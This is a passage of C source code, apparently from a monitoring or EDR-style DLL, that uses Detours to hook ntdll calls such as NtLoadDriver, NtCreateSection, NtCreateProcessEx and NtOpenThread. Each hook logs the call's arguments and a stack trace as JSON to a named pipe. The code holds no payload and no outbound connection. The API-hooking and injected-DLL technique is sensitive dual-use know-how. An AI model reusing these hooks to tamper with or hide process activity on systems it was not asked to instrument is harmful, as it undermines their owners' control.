DATA_BUFFER_SIZE - offset, \"\\\"time\\\":%llu,\", time);\n        offset += sprintf_s(buf + offset, DATA_BUFFER_SIZE - offset, \"\\\"pid\\\":%lu,\", (DWORD)GetCurrentProcessId());\n        offset += sprintf_s(buf + offset, DATA_BUFFER_SIZE - offset, \"\\\"tid\\\":%lu,\", (DWORD)GetCurrentThreadId());\n        offset += sprintf_s(buf + offset, DATA_BUFFER_SIZE - offset, \"\\\"func\\\":\\\"NtLoadDriver;\\\"\");\n        offset += sprintf_s(buf + offset, DATA_BUFFER_SIZE - offset, \"\\\"driver_service_name\\\":\\\"%ls\\\",\", wDriverServiceName);\n        offset += LogMyStackTrace(&buf[offset], DATA_BUFFER_SIZE - offset);\n        offset += sprintf_s(buf + offset, DATA_BUFFER_SIZE - offset, \"}\");\n        SendDllPipe(buf);\n    }\n    return Real_NtLoadDriver(DriverServiceName);\n}\n\n\n/******************* NtCreateNamedPipeFile ************************/\n\ntypedef NTSTATUS(NTAPI* pNtCreateNamedPipeFile)(\n    OUT PHANDLE             NamedPipeFileHandle,\n    IN ACCESS_MASK          DesiredAccess,\n    IN POBJECT_ATTRIBUTES   ObjectAttributes,\n    OUT PIO_STATUS_BLOCK    IoStatusBlock,\n    IN ULONG                ShareAccess,\n    IN ULONG                CreateDisposition,\n    IN ULONG                CreateOptions,\n    IN ULONG                NamedPipeType,\n    IN ULONG                ReadMode,\n    IN ULONG                CompletionMode,\n    IN ULONG                MaximumInstances,\n    IN ULONG                InboundQuota,\n    IN ULONG                OutboundQuota,\n    IN PLARGE_INTEGER       DefaultTimeout\n    );\npNtCreateNamedPipeFile Real_NtCreateNamedPipeFile = NULL;\nNTSTATUS NTAPI Catch_NtCreateNamedPipeFile(\n    OUT PHANDLE             NamedPipeFileHandle,\n    IN ACCESS_MASK          DesiredAccess,\n    IN POBJECT_ATTRIBUTES   ObjectAttributes,\n    OUT PIO_STATUS_BLOCK    IoStatusBlock,\n    IN ULONG                ShareAccess,\n    IN ULONG                CreateDisposition,\n    IN ULONG                CreateOptions,\n    IN ULONG                NamedPipeType,\n    IN ULONG                ReadMode,\n    IN ULONG                CompletionMode,\n    IN ULONG                MaximumInstances,\n    IN ULONG                InboundQuota,\n    IN ULONG                OutboundQuota,\n    IN PLARGE_INTEGER       DefaultTimeout\n) {\n    int64_t time = get_time();\n    char buf[DATA_BUFFER_SIZE] = \"\";\n\n    if (HooksInitialized) { // dont log our own hooking\n        int offset = 0;\n        offset += sprintf_s(buf + offset, DATA_BUFFER_SIZE - offset, \"{\");\n        offset += sprintf_s(buf + offset, DATA_BUFFER_SIZE - offset, \"\\\"type\\\":\\\"dll\\\",\");\n        offset += sprintf_s(buf + offset, DATA_BUFFER_SIZE - offset, \"\\\"time\\\":%llu,\", time);\n        offset += sprintf_s(buf + offset, DATA_BUFFER_SIZE - offset, \"\\\"pid\\\":%lu,\", (DWORD)GetCurrentProcessId());\n        offset += sprintf_s(buf + offset, DATA_BUFFER_SIZE - offset, \"\\\"tid\\\":%lu,\", (DWORD)GetCurrentThreadId());\n        offset += sprintf_s(buf + offset, DATA_BUFFER_SIZE - offset, \"\\\"func\\\":\\\"NtCreateNamedPipeFile\\\",\");\n        \n        //offset += sprintf_s(buf + offset, DATA_BUFFER_SIZE - offset, \"\\\"pipe_handle\\\":%lld,\", NamedPipeFileHandle);\n        \n        // beware of the following 4\n        offset += sprintf_s(buf + offset, DATA_BUFFER_SIZE - offset, \"\\\"access_mask\\\":%lu,\", DesiredAccess);\n        offset += sprintf_s(buf + offset, DATA_BUFFER_SIZE - offset, \"\\\"share_access\\\":%lu,\", ShareAccess);\n        offset += sprintf_s(buf + offset, DATA_BUFFER_SIZE - offset, \"\\\"pipe_type\\\":%lu,\", NamedPipeType);\n        offset += sprintf_s(buf + offset, DATA_BUFFER_SIZE - offset, \"\\\"read_mode\\\":%lu\", ReadMode);\n        \n        offset += sprintf_s(buf + offset, DATA_BUFFER_SIZE - offset, \"}\");\n        SendDllPipe(buf);\n    }\n    return Real_NtCreateNamedPipeFile(NamedPipeFileHandle, DesiredAccess, ObjectAttributes, IoStatusBlock, ShareAccess, CreateDisposition, CreateOptions, NamedPipeType, ReadMode, CompletionMode, MaximumInstances, InboundQuota, OutboundQuota, DefaultTimeout);\n}\n\n\n/******************* NtOpenThread ************************/\n\ntypedef NTSTATUS(NTAPI* pNtOpenThread)(\n    OUT PHANDLE             ThreadHandle,\n    IN ACCESS_MASK          DesiredAccess,\n    IN POBJECT_ATTRIBUTES   ObjectAttributes,\n    IN CLIENT_ID*           ClientId\n    );\npNtOpenThread Real_NtOpenThread = NULL;\nNTSTATUS NTAPI Catch_NtOpenThread(\n    OUT PHANDLE             ThreadHandle,\n    IN ACCESS_MASK          DesiredAccess,\n    IN POBJECT_ATTRIBUTES   ObjectAttributes,\n    IN CLIENT_ID*           ClientId\n) {\n    int64_t time = get_time();\n    char buf[DATA_BUFFER_SIZE] = \"\";\n    if (HooksInitialized) { // dont log our own hooking\n        int offset = 0;\n        offset += sprintf_s(buf + offset, DATA_BUFFER_SIZE - offset, \"{\");\n        offset += sprintf_s(buf + offset, DATA_BUFFER_SIZE - offset, \"\\\"type\\\":\\\"dll\\\",\");\n        offset += sprintf_s(buf + offset, DATA_BUFFER_SIZE - offset, \"\\\"time\\\":%llu,\", time);\n        offset += sprintf_s(buf + offset, DATA_BUFFER_SIZE - offset, \"\\\"pid\\\":%lu,\", (DWORD)GetCurrentProcessId());\n        offset += sprintf_s(buf + offset, DATA_BUFFER_SIZE - offset, \"\\\"tid\\\":%lu,\", (DWORD)GetCurrentThreadId());\n        offset += sprintf_s(buf + offset, DATA_BUFFER_SIZE - offset, \"\\\"func\\\":\\\"NtOpenThread\\\",\");\n        offset += sprintf_s(buf + offset, DATA_BUFFER_SIZE - offset, \"\\\"thread_handle\\\":%lld,\", ThreadHandle);\n        offset += sprintf_s(buf + offset, DATA_BUFFER_SIZE - offset, \"\\\"access_mask\\\":%lu,\", DesiredAccess);\n        offset += sprintf_s(buf + offset, DATA_BUFFER_SIZE - offset, \"\\\"client_id_process\\\":%llu,\", ClientId->UniqueProcess);\n        offset += sprintf_s(buf + offset, DATA_BUFFER_SIZE - offset, \"\\\"client_id_thread\\\":%llu,\", ClientId->UniqueThread);\n        offset += LogMyStackTrace(&buf[offset], DATA_BUFFER_SIZE - offset);\n        offset += sprintf_s(buf + offset, DATA_BUFFER_SIZE - offset, \"}\");\n        SendDllPipe(buf);\n    }\n    return Real_NtOpenThread(ThreadHandle, DesiredAccess, ObjectAttributes, ClientId);\n}\n\n\n/******************* NtCreateSection ************************/\n\ntypedef NTSTATUS(NTAPI* pNtCreateSection)(\n    OUT PHANDLE             SectionHandle,\n    IN ACCESS_MASK          DesiredAccess,\n    IN POBJECT_ATTRIBUTES   ObjectAttributes,\n    IN PLARGE_INTEGER       MaximumSize,\n    IN ULONG                SectionPageProtection,\n    IN ULONG                AllocationAttributes,\n    IN HANDLE               FileHandle\n    );\npNtCreateSection Real_NtCreateSection = NULL;\nNTSTATUS NTAPI Catch_NtCreateSection(\n    OUT PHANDLE             SectionHandle,\n    IN ACCESS_MASK          DesiredAccess,\n    IN POBJECT_ATTRIBUTES   ObjectAttributes,\n    IN PLARGE_INTEGER       MaximumSize,\n    IN ULONG                SectionPageProtection,\n    IN ULONG                AllocationAttributes,\n    IN HANDLE               FileHandle\n) {\n    int64_t time = get_time();\n    char buf[DATA_BUFFER_SIZE] = \"\";\n\n    NTSTATUS ret = Real_NtCreateSection(SectionHandle, DesiredAccess, ObjectAttributes, MaximumSize, SectionPageProtection, AllocationAttributes, FileHandle);\n\n    if (HooksInitialized) { // dont log our own hooking\n        HANDLE SectionHandleValue = (SectionHandle != NULL) ? *SectionHandle : NULL;\n\n        int offset = 0;\n        offset += sprintf_s(buf + offset, DATA_BUFFER_SIZE - offset, \"{\");\n        offset += sprintf_s(buf + offset, DATA_BUFFER_SIZE - offset, \"\\\"type\\\":\\\"dll\\\",\");\n        offset += sprintf_s(buf + offset, DATA_BUFFER_SIZE - offset, \"\\\"time\\\":%llu,\", time);\n        offset += sprintf_s(buf + offset, DATA_BUFFER_SIZE - offset, \"\\\"pid\\\":%lu,\", (DWORD)GetCurrentProcessId());\n        offset += sprintf_s(buf + offset, DATA_BUFFER_SIZE - offset, \"\\\"tid\\\":%lu,\", (DWORD)GetCurrentThreadId());\n        offset += sprintf_s(buf + offset, DATA_BUFFER_SIZE - offset, \"\\\"func\\\":\\\"NtCreateSection\\\",\");\n        offset += sprintf_s(buf + offset, DATA_BUFFER_SIZE - offset, \"\\\"section_handle\\\":%llu,\", (unsigned long long) SectionHandleValue);\n        offset += sprintf_s(buf + offset, DATA_BUFFER_SIZE - offset, \"\\\"access_mask\\\":%lu,\", DesiredAccess);\n        offset += sprintf_s(buf + offset, DATA_BUFFER_SIZE - offset, \"\\\"max_size\\\":%llu,\", MaximumSize);\n        offset += sprintf_s(buf + offset, DATA_BUFFER_SIZE - offset, \"\\\"page_protection\\\":%lu,\", SectionPageProtection);\n        offset += sprintf_s(buf + offset, DATA_BUFFER_SIZE - offset, \"\\\"alloc_attributes\\\":%lu,\", AllocationAttributes);\n        offset += sprintf_s(buf + offset, DATA_BUFFER_SIZE - offset, \"\\\"file_handle\\\":%llu,\", (unsigned long long) FileHandle);\n        offset += LogMyStackTrace(&buf[offset], DATA_BUFFER_SIZE - offset);\n        offset += sprintf_s(buf + offset, DATA_BUFFER_SIZE - offset, \"}\");\n        SendDllPipe(buf);\n    }\n    return ret;\n}\n\n\n/******************* NtCreateProcessEx ************************/\n\ntypedef NTSTATUS(NTAPI* pNtCreateProcessEx)(\n    OUT PHANDLE             ProcessHandle,\n    IN ACCESS_MASK          DesiredAccess,\n    IN POBJECT_ATTRIBUTES   ObjectAttributes,\n    IN HANDLE               ParentProcess,\n    IN ULONG                Flags,\n    IN HANDLE               SectionHandle,\n    IN HANDLE               DebugPort,\n    IN HANDLE               ExceptionPort,\n    IN BOOLEAN              InJob\n    );\npNtCreateProcessEx Real_NtCreateProcessEx = NULL;\nNTSTATUS NTAPI Catch_NtCreateProcessEx(\n    OUT PHANDLE             ProcessHandle,\n    IN ACCESS_MASK          DesiredAccess,\n    IN POBJECT_ATTRIBUTES   ObjectAttributes,\n    IN HANDLE               ParentProcess,\n    IN ULONG                Flags,\n    IN HANDLE               SectionHandle,\n    IN HANDLE               DebugPort,\n    IN HANDLE               ExceptionPort,\n    IN BOOLEAN              InJob\n) {\n    int64_t time = get_time();\n    char buf[DATA_BUFFER_SIZE] = \"\";\n\n    if (HooksInitialized) { // dont log our own hooking\n        int offset = 0;\n        offset += sprintf_s(buf + offset, DATA_BUFFER_SIZE - offset, \"{\");\n        offset += sprintf_s(buf + offset, DATA_BUFFER_SIZE - offset, \"\\\"type\\\":\\\"dll\\\",\");\n        offset += sprintf_s(buf + offset, DATA_BUFFER_SIZE - offset, \"\\\"time\\\":%llu,\", time);\n        offset += sprintf_s(buf + offset, DATA_BUFFER_SIZE - offset, \"\\\"pid\\\":%lu,\", (DWORD)GetCurrentProcessId());\n        offset += sprintf_s(buf + offset, DATA_BUFFER_SIZE - offset, \"\\\"tid\\\":%lu,\", (DWORD)GetCurrentThreadId());\n        offset += sprintf_s(buf + offset, DATA_BUFFER_SIZE - offset, \"\\\"func\\\":\\\"NtCreateProcessEx\\\",\");\n        offset += sprintf_s(buf + offset, DATA_BUFFER_SIZE - offset, \"\\\"handle\\\":%lld,\", (long long) ProcessHandle);\n        offset += sprintf_s(buf + offset, DATA_BUFFER_SIZE - offset, \"\\\"parent_process\\\":%llu,\", (unsigned long long) ParentProcess);\n        offset += sprintf_s(buf + offset, DATA_BUFFER_SIZE - offset, \"\\\"flags\\\":%lu,\", Flags);\n        offset += sprintf_s(buf + offset, DATA_BUFFER_SIZE - offset, \"\\\"section_handle\\\":%llu,\", (unsigned long long) SectionHandle);\n        offset += sprintf_s(buf + offset, DATA_BUFFER_SIZE - offset, \"\\\"debug_port\\\":%llu,\", (unsigned long long) DebugPort);\n        offset += sprintf_s(buf + offset, DATA_BUFFER_SIZE - offset, \"\\\"exception_port\\\":%llu,\", (unsigned long long) ExceptionPort);\n        offset += sprintf_s(buf + offset, DATA_BUFFER_SIZE - offset, \"\\\"in_job\\\":%d,\", InJob);\n        offset += LogMyStackTrace(&buf[offset], DATA_BUFFER_SIZE - offset);\n        offset += sprintf_s(buf + offset, DATA_BUFFER_SIZE - offset, \"}\");\n        SendDllPipe(buf);\n    }\n    return Real_NtCreateProcessEx(ProcessHandle, DesiredAccess, ObjectAttributes, ParentProcess, Flags, SectionHandle, DebugPort, ExceptionPort, InJob);\n}\n\n\n/******************* NtCreateEvent ************************/\n\ntypedef enum _EVENT_TYPE {\n    NotificationEvent = 0,\n    SynchronizationEvent = 1\n} EVENT_TYPE;\n\ntypedef NTSTATUS(NTAPI* pNtCreateEvent)(\n    OUT PHANDLE             EventHandle,\n    IN ACCESS_MASK          DesiredAccess,\n    IN POBJECT_ATTRIBUTES   ObjectAttributes OPTIONAL,\n    IN EVENT_TYPE           EventType,\n    IN BOOLEAN              InitialState\n    );\npNtCreateEvent Real_NtCreateEvent = NULL;\nNTSTATUS NTAPI Catch_NtCreateEvent(\n    OUT PHANDLE             EventHandle,\n    IN ACCESS_MASK          DesiredAccess,\n    IN POBJECT_ATTRIBUTES   ObjectAttributes OPTIONAL,\n    IN EVENT_TYPE           EventType,\n    IN BOOLEAN              InitialState\n) {\n    int64_t time = get_time();\n    char buf[DATA_BUFFER_SIZE] = \"\";\n\n    if (HooksInitialized) { // dont log our own hooking\n        int offset = 0;\n        offset += sprintf_s(buf + offset, DATA_BUFFER_SIZE - offset, \"{\");\n        offset += sprintf_s(buf + offset, DATA_BUFFER_SIZE - offset, \"\\\"type\\\":\\\"dll\\\",\");\n        offset += sprintf_s(buf + offset, DATA_BUFFER_SIZE - offset, \"\\\"time\\\":%llu,\", time);\n        offset += sprintf_s(buf + offset, DATA_BUFFER_SIZE - offset, \"\\\"pid\\\":%lu,\", (DWORD)GetCurrentProcessId());\n        offset += sprintf_s(buf + offset, DATA_BUFFER_SIZE - offset, \"\\\"tid\\\":%lu,\", (DWORD)GetCurrentThreadId());\n        offset += sprintf_s(buf + offset, DATA_BUFFER_SIZE - offset, \"\\\"func\\\":\\\"NtCreateEvent\\\",\");\n        offset += sprintf_s(buf + offset, DATA_BUFFER_SIZE - offset, \"\\\"desired_access\\\":%lu,\", DesiredAccess);\n        offset += sprintf_s(buf + offset, DATA_BUFFER_SIZE - offset, \"\\\"event_type\\\":%d,\", EventType);\n        offset += sprintf_s(buf + offset, DATA_BUFFER_SIZE - offset, \"\\\"initial_state\\\":%d\", InitialState);\n        offset += sprintf_s(buf + offset, DATA_BUFFER_SIZE - offset, \"}\");\n\n        SendDllPipe(buf);\n    }\n    return Real_NtCreateEvent(EventHandle, DesiredAccess, ObjectAttributes, EventType, InitialState);\n}\n\n\n/******************* NtCreateTimer ************************/\n\ntypedef enum _TIMER_TYPE {\n    NotificationTimer,\n    SynchronizationTimer\n} TIMER_TYPE;\n\ntypedef NTSTATUS(NTAPI* pNtCreateTimer)(\n    OUT PHANDLE             TimerHandle,\n    IN ACCESS_MASK          DesiredAccess,\n    IN POBJECT_ATTRIBUTES   ObjectAttributes OPTIONAL,\n    IN TIMER_TYPE           TimerType\n    );\npNtCreateTimer Real_NtCreateTimer = NULL;\nNTSTATUS NTAPI Catch_NtCreateTimer(\n    OUT PHANDLE             TimerHandle,\n    IN ACCESS_MASK          DesiredAccess,\n    IN POBJECT_ATTRIBUTES   ObjectAttributes OPTIONAL,\n    IN TIMER_TYPE           TimerType\n) {\n    int64_t time = get_time();\n    char buf[DATA_BUFFER_SIZE] = \"\";\n\n    if (HooksInitialized) { // dont log our own hooking\n        int offset = 0;\n        offset += sprintf_s(buf + offset, DATA_BUFFER_SIZE - offset, \"{\");\n        offset += sprintf_s(buf + offset, DATA_BUFFER_SIZE - offset, \"\\\"type\\\":\\\"dll\\\",\");\n        offset += sprintf_s(buf + offset, DATA_BUFFER_SIZE - offset, \"\\\"time\\\":%llu,\", time);\n        offset += sprintf_s(buf + offset, DATA_BUFFER_SIZE - offset, \"\\\"pid\\\":%lu,\", (DWORD)GetCurrentProcessId());\n        offset += sprintf_s(buf + offset, DATA_BUFFER_SIZE - offset, \"\\\"tid\\\":%lu,\", (DWORD)GetCurrentThreadId());\n        offset += sprintf_s(buf + offset, DATA_BUFFER_SIZE - offset, \"\\\"func\\\":\\\"NtCreateTimer\\\",\");\n        offset += sprintf_s(buf + offset, DATA_BUFFER_SIZE - offset, \"\\\"desired_access\\\":%lu,\", DesiredAccess);\n        offset += sprintf_s(buf + offset, DATA_BUFFER_SIZE - offset, \"\\\"timer_type\\\":%d\", TimerType);\n        offset += sprintf_s(buf + offset, DATA_BUFFER_SIZE - offset, \"}\");\n\n        SendDllPipe(buf);\n    }\n    return Real_NtCreateTimer(TimerHandle, DesiredAccess, ObjectAttributes, TimerType);\n}\n\n\n/******************* NtCreateTimer2 ************************/\n\ntypedef NTSTATUS(NTAPI* pNtCreateTimer2)(\n    OUT PHANDLE             TimerHandle,\n    IN PVOID                Reserved1 OPTIONAL,\n    IN PVOID                Reserved2 OPTIONAL,\n    IN ULONG                Attributes,\n    IN ACCESS_MASK          DesiredAccess\n    );\npNtCreateTimer2 Real_NtCreateTimer2 = NULL;\nNTSTATUS NTAPI Catch_NtCreateTimer2(\n    OUT PHANDLE             TimerHandle,\n    IN PVOID                Reserved1 OPTIONAL,\n    IN PVOID                Reserved2 OPTIONAL,\n    IN ULONG                Attributes,\n    IN ACCESS_MASK          DesiredAccess\n) {\n    int64_t time = get_time();\n    char buf[DATA_BUFFER_SIZE] = \"\";\n\n    if (HooksInitialized) { // dont log our own hooking\n        int offset = 0;\n        offset += sprintf_s(buf + offset, DATA_BUFFER_SIZE - offset, \"{\");\n        offset += sprintf_s(buf + offset, DATA_BUFFER_SIZE - offset, \"\\\"type\\\":\\\"dll\\\",\");\n        offset += sprintf_s(buf + offset, DATA_BUFFER_SIZE - offset, \"\\\"time\\\":%llu,\", time);\n        offset += sprintf_s(buf + offset, DATA_BUFFER_SIZE - offset, \"\\\"pid\\\":%lu,\", (DWORD)GetCurrentProcessId());\n        offset += sprintf_s(buf + offset, DATA_BUFFER_SIZE - offset, \"\\\"tid\\\":%lu,\", (DWORD)GetCurrentThreadId());\n        offset += sprintf_s(buf + offset, DATA_BUFFER_SIZE - offset, \"\\\"func\\\":\\\"NtCreateTimer2\\\",\");\n        offset += sprintf_s(buf + offset, DATA_BUFFER_SIZE - offset, \"\\\"attributes\\\":%lu,\", Attributes);\n        offset += sprintf_s(buf + offset, DATA_BUFFER_SIZE - offset, \"\\\"desired_access\\\":%lu\", DesiredAccess);\n        offset += sprintf_s(buf + offset, DATA_BUFFER_SIZE - offset, \"}\");\n\n        SendDllPipe(buf);\n    }\n    return Real_NtCreateTimer2(TimerHandle, Reserved1, Reserved2, Attributes, DesiredAccess);\n}\n\n\n/******************* CreateRemoteThread ************************/\n/*\ntypedef NTSTATUS(NTAPI* pNtCreateRemoteThread)(\n    HANDLE hProcess,\n    LPSECURITY_ATTRIBUTES lpThreadAttributes,\n    SIZE_T dwStackSize,\n    LPTHREAD_START_ROUTINE lpStartAddress,\n    LPVOID lpParameter,\n    DWORD dwCreationFlags,\n    LPDWORD lpThreadId\n    );\npNtCreateRemoteThread Real_NtCreateRemoteThread = nullptr;\nNTSTATUS NTAPI Catch_NtCreateRemoteThread(\n    HANDLE hProcess,\n    LPSECURITY_ATTRIBUTES lpThreadAttributes,\n    SIZE_T dwStackSize,\n    LPTHREAD_START_ROUTINE lpStartAddress,\n    LPVOID lpParameter,\n    DWORD dwCreationFlags,\n    LPDWORD lpThreadId\n) {\n    char buf[DATA_BUFFER_SIZE] = \"\";\n    int64_t time = get_time();\n\n    if (HooksInitialized) { // Avoid logging internal operations\n        int offset = 0;\n        offset += sprintf_s(buf + offset, DATA_BUFFER_SIZE - offset, \"type:dll,\");\n        offset += sprintf_s(buf + offset, DATA_BUFFER_SIZE - offset, \"time:%llu,\", time);\n        offset += sprintf_s(buf + offset, DATA_BUFFER_SIZE - offset, \"pid:%lu,\", GetCurrentProcessId());\n        offset += sprintf_s(buf + offset, DATA_BUFFER_SIZE - offset, \"tid:%lu,\", GetCurrentThreadId());\n        offset += sprintf_s(buf + offset, DATA_BUFFER_SIZE - offset, \"func:CreateRemoteThread,\");\n        offset += sprintf_s(buf + offset, DATA_BUFFER_SIZE - offset, \"handle:%llu,\", hProcess);\n        offset += sprintf_s(buf + offset, DATA_BUFFER_SIZE - offset, \"start_address:%lu\", lpStartAddress);\n\n        SendDllPipe(buf);\n    }\n\n    return Real_NtCreateRemoteThread(\n        hProcess, lpThreadAttributes, dwStackSize, lpStartAddress, lpParameter, dwCreationFlags, lpThreadId\n    );\n}\n*/\n\n/******************* QueryInformationThread ************************/\n/*\ntypedef NTSTATUS(NTAPI* pNtQueryInformationThread)(\n    HANDLE          ThreadHandle,\n    THREADINFOCLASS ThreadInformationClass,\n    PVOID           ThreadInformation,\n    ULONG           ThreadInformationLength,\n    PULONG          ReturnLength\n);\npNtQueryInformationThread Real_NtQueryInformationThread = nullptr;\nNTSTATUS NTAPI Hooked_NtQueryInformationThread (\n    HANDLE          ThreadHandle,\n    THREADINFOCLASS ThreadInformationClass,\n    PVOID           ThreadInformation,\n    ULONG           ThreadInformationLength,\n    PULONG          ReturnLength\n) {\n    char buf[DATA_BUFFER_SIZE] = \"\";\n    int64_t time = get_time();\n\n    if (HooksInitialized) { // Avoid logging internal operations\n        int offset = 0;\n        offset += sprintf_s(buf + offset, DATA_BUFFER_SIZE - offset, \"type:dll,\");\n        offset += sprintf_s(buf + offset, DATA_BUFFER_SIZE - offset, \"time:%llu,\", time);\n        offset += sprintf_s(buf + offset, DATA_BUFFER_SIZE - offset, \"pid:%lu,\", GetCurrentProcessId());\n        offset += sprintf_s(buf + offset, DATA_BUFFER_SIZE - offset, \"tid:%lu,\", GetCurrentThreadId());\n        offset += sprintf_s(buf + offset, DATA_BUFFER_SIZE - offset, \"func:QueryInformationThread,\");\n        offset += sprintf_s(buf + offset, DATA_BUFFER_SIZE - offset, \"thread_handle:%llu,\", ThreadHandle);\n\n        SendDllPipe(buf);\n    }\n\n    return Real_NtQueryInformationThread(\n        ThreadHandle, ThreadInformationClass, ThreadInformation, ThreadInformationLength, ReturnLength\n    );\n}\n*/\n\n/******************* SetInformationThread ************************/\n\n/*\ntypedef NTSTATUS(NTAPI* pNtSetInformationThread)(\n    HANDLE          ThreadHandle,\n    THREADINFOCLASS ThreadInformationClass,\n    PVOID           ThreadInformation,\n    ULONG           ThreadInformationLength\n);\npNtSetInformationThread Real_NtSetInformationThread = nullptr;\nNTSTATUS NTAPI Hooked_NtSetInformationThread(\n    HANDLE          ThreadHandle,\n    THREADINFOCLASS ThreadInformationClass,\n    PVOID           ThreadInformation,\n    ULONG           ThreadInformationLength\n) {\n    char buf[DATA_BUFFER_SIZE] = \"\";\n    int64_t time = get_time();\n\n    if (HooksInitialized) { // Avoid logging internal operations\n        int offset = 0;\n        offset += sprintf_s(buf + offset, DATA_BUFFER_SIZE - offset, \"type:dll,\");\n        offset += sprintf_s(buf + offset, DATA_BUFFER_SIZE - offset, \"time:%llu,\", time);\n        offset += sprintf_s(buf + offset, DATA_BUFFER_SIZE - offset, \"pid:%lu,\", GetCurrentProcessId());\n        offset += sprintf_s(buf + offset, DATA_BUFFER_SIZE - offset, \"tid:%lu,\", GetCurrentThreadId());\n        offset += sprintf_s(buf + offset, DATA_BUFFER_SIZE - offset, \"func:SetInformationThread,\");\n        offset += sprintf_s(buf + offset, DATA_BUFFER_SIZE - offset, \"thread_handle:%llu,\", ThreadHandle);\n        offset += sprintf_s(buf + offset, DATA_BUFFER_SIZE - offset, \"ThreadInformationClass:%lu,\", ThreadInformationClass);\n\n        SendDllPipe(buf);\n    }\n\n    return Real_NtSetInformationThread(\n        ThreadHandle, ThreadInformationClass, ThreadInformation, ThreadInformationLength\n    );\n}\n*/\n\n\n/******************* NtResumeThread ************************/\n\ntypedef NTSTATUS(NTAPI* pNtResumeThread)(\n    HANDLE ThreadHandle,\n    PULONG SuspendCount OPTIONAL\n    );\npNtResumeThread Real_NtResumeThread = nullptr;\nNTSTATUS NTAPI Catch_NtResumeThread(\n    HANDLE ThreadHandle,\n    PULONG SuspendCount OPTIONAL\n) {\n    char buf[DATA_BUFFER_SIZE] = \"\";\n    int64_t time = get_time();\n\n    if (HooksInitialized) { // Avoid logging internal operations\n        int offset = 0;\n        offset += sprintf_s(buf + offset, DATA_BUFFER_SIZE - offset, \"{\");\n        offset += sprintf_s(buf + offset, DATA_BUFFER_SIZE - offset, \"\\\"type\\\":\\\"dll\\\",\");\n        offset += sprintf_s(buf + offset, DATA_BUFFER_SIZE - offset, \"\\\"time\\\":%llu,\", time);\n        offset += sprintf_s(buf + offset, DATA_BUFFER_SIZE - offset, \"\\\"pid\\\":%lu,\", GetCurrentProcessId());\n        offset += sprintf_s(buf + offset, DATA_BUFFER_SIZE - offset, \"\\\"tid\\\":%lu,\", GetCurrentThreadId());\n        offset += sprintf_s(buf + offset, DATA_BUFFER_SIZE - offset, \"\\\"func\\\":\\\"NtResumeThread\\\",\");\n        offset += sprintf_s(buf + offset, DATA_BUFFER_SIZE - offset, \"\\\"thread_handle\\\":%llu\", (unsigned long long)ThreadHandle);\n        offset += sprintf_s(buf + offset, DATA_BUFFER_SIZE - offset, \"}\");\n        SendDllPipe(buf);\n    }\n\n    return Real_NtResumeThread(\n        ThreadHandle, SuspendCount\n    );\n}\n\n//----------------------------------------------------\n#define STARTSTOP_LEN 1024\n\n// This function initializes the hooks via the MinHook library\nDWORD WINAPI InitHooksThread(LPVOID param) {\n    LONG error;\n\n    if (DetourIsHelperProcess()) {\n        return TRUE;\n    }\n    char start_str[STARTSTOP_LEN] = { 0 };\n    char stop_str[STARTSTOP_LEN] = { 0 };\n\n    snprintf(start_str, STARTSTOP_LEN, \"{\\\"type\\\":\\\"dll\\\",\\\"func\\\":\\\"hooking_start\\\",\\\"pid\\\":%lu,\\\"tid\\\":%lu}\",\n        (DWORD)GetCurrentProcessId(), (DWORD)GetCurrentThreadId());\n    snprintf(stop_str, STARTSTOP_LEN, \"{\\\"type\\\":\\\"dll\\\",\\\"func\\\":\\\"hooking_finished\\\",\\\"pid\\\":%lu,\\\"tid\\\":%lu}\",\n        (DWORD)GetCurrentProcessId(), (DWORD)GetCurrentThreadId());\n\n    LOG_A(LOG_INFO, \"Injected DLL Detours Main thread started on pid %lu  threadid %lu\",\n        GetCurrentProcessId(), GetCurrentThreadId());\n    InitProcessQuery();\n    InitDllPipe();\n    SendDllPipe(start_str);\n\n    // All the original methods\n\n    // NOTE: Do be VERY CAREFUL enabling these\n    //       Just uncommenting the variable will break the callstack \n    //       (e.g. with a nonexisting function as parameter)\n    //Real_LdrLoadDll = (pLdrLoadDll)DetourFindFunction(\"ntdll.dll\", \"LdrLoadDll\");\n    Real_LdrGetProcedureAddress = (pLdrGetProcedureAddress)DetourFindFunction(\"ntdll.dll\", \"LdrGetProcedureAddress\");\n    Real_NtQueueApcThread = (pNtQueueApcThread)DetourFindFunction(\"ntdll.dll\", \"NtQueueApcThread\");\n    Real_NtQueueApcThreadEx = (pNtQueueApcThreadEx)DetourFindFunction(\"ntdll.dll\", \"NtQueueApcThreadEx\");\n    Real_NtCreateProcess = (pNtCreateProcess)DetourFindFunction(\"ntdll.dll\", \"NtCreateProcess\");\n    Real_NtCreateThread = (pNtCreateThread)DetourFindFunction(\"ntdll.dll\", \"NtCreateThread\");\n    Real_NtCreateThreadEx = (pNtCreateThreadEx)DetourFindFunction(\"ntdll.dll\", \"NtCreateThreadEx\");\n    Real_NtOpenProcess = (pNtOpenProcess)DetourFindFunction(\"ntdll.dll\", \"NtOpenProcess\");\n    Real_NtLoadDriver = (pNtLoadDriver)DetourFindFunction(\"ntdll.dll\", \"NtLoadDriver\");\n    Real_NtCreateNamedPipeFile = (pNtCreateNamedPipeFile)DetourFindFunction(\"ntdll.dll\", \"NtCreateNamedPipeFile\");\n    Real_NtCreateSection = (pNtCreateSection)DetourFindFunction(\"ntdll.dll\", \"NtCreateSection\");\n    Real_NtCreateProcessEx = (pNtCreateProcessEx)DetourFindFunction(\"ntdll.dll\", \"NtCreateProcessEx\");\n    Real_NtCreateEvent = (pNtCreateEvent)DetourFindFunction(\"ntdll.dll\", \"NtCreateEvent\");\n    Real_NtCreateTimer = (pNtCreateTimer)DetourFindFunction(\"ntdll.dll\", \"NtCreateTimer\");\n    Real_NtCreateTimer2 = (pNtCreateTimer2)DetourFindFunction(\"ntdll.dll\", \"NtCreateTimer2\");\n    Real_NtReadVirtualMemory = (pNtReadVirtualMemory)DetourFindFunction(\"ntdll.dll\", \"NtReadVirtualMemory\");\n    Real_NtOpenThread = (pNtOpenThread)DetourFindFunction(\"ntdll.dll\", \"NtOpenThread\");\n    Real_NtWriteVirtualMemory = (t_NtWriteVirtualMemory)DetourFindFunction(\"ntdll.dll\", \"NtWriteVirtualMemory\");\n    Real_NtMapViewOfSection = (t_NtMapViewOfSection)DetourFindFunction(\"ntdll.dll\", \"NtMapViewOfSection\");\n    Real_NtAllocateVirtualMemory = (t_NtAllocateVirtualMemory)DetourFindFunction(\"ntdll.dll\", \"NtAllocateVirtualMemory\");\n    Real_NtProtectVirtualMemory = (t_NtProtectVirtualMemory)DetourFindFunction(\"ntdll.dll\", \"NtProtectVirtualMemory\");\n    Real_NtFreeVirtualMemory = 